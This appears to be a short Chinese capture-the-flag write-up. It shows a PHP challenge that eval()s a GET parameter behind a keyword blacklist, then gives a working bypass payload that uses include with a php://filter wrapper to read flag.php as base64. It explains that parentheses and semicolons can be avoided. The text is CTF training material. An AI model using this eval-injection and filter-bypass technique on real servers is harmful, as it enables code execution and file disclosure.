<?php error_reporting(0);
if(isset($_GET['c']))
{
$c = $_GET['c'];
if(!preg_match("/flag|system|exec|shell|php|\.| |\'|\`|echo|\;|\(/i", $c))
{
eval($c);
}
}
else
{
highlight_file(__FILE__);
}
绕过特殊字符和一些函数的过滤
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
include可以不用括号,分号可以用?>代替
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.